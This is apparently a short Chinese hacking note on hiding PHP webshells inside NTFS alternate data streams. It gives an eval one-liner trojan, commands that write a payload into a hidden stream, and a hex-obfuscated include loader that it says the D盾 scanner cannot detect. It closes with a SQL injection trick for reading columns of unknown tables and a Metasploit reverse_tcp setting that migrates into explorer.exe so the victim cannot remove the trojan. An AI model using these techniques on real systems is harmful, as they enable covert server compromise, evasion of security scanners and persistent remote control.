0x00前言
NTFS交换数据流(Alternate DataStreams,ADS)是NTFS磁盘格式的一个特征,在NTFS文件系统下,每个文件都可以存在多个数据流,也就是说其他文件可以"寄宿"在某个文件身上。利用ADS数据流能够做很多有趣的事情,因此想来研究研究如何使用
0x01 利用姿势
一般来说,一个一句话木马<?php eval($_POST['cc']);?>
很容易被各种防火墙防下来,可以使用ADS的隐藏文件来测试一下,使用命令创建一个隐藏文件
echo 4668 > test.txt:cc.txt
可以看到并没有内容显示出来,同时使用dir /r
显示文件大小为0
对文件内容可以使用命令notepad test.txt:cc.txt
来显示内容
可以使用删除宿主文件来进行清除,这时候我们可以通过创建单独的ADS数据流文件,通过命令
echo christa > :cc2.txt
此时文件会保存在上一级的目录下,同时也不会显示
使用nodepad可以编辑文件,文件:前面的名字为文件夹的名字,使用命令notepad htdocs:cc2.txt即
可以进行编辑
如果文件建在根目录下的时候则需要使用winhex中的Tools -Open Disk进行文件的删除与改写,找到需要查找的盘符进行删除
0x02webshell
使用一句话木马<?php phpinfo();?>创建webshell
echo ^<?php phpinfo();?^> > adstest.php:cc.jpg
需要访问php的时候使用include函数的十六进制进行绕过,创建一个test.php文件内容如下
<?php
$b = "616473746573"."742e7068703a63632e6a7067200d";
$c = "b";
@include(PACK('H*',$$c));
?>
访问tests.php文件即可以getshell
D盾无法扫描
0xff彩蛋
因为国赛有一道简单的sql注入,但是是不知到表名的,有一篇文章讲得比较有趣
有如下的一张表
列表数量可以通过order by进行探测,那么我们可以使用如下的进行探测
select `1` from (select 1,2,3 union select * from tb1)christa;
表示探测第一行的数据
依次使用1,2,3既可以探测到后面几列的全部数据
0x00备忘
在
set payload windows/meterpreter/reverse_tcp
和设置完了端口与HOST的时候,执行如下命令:
set autorunscript migrate -n explorer.exe
在目标上线后,你要执行那些命令,其中我们将进程迁移到了资源管理器,防止用户删除木马,然后丢失目标的情况。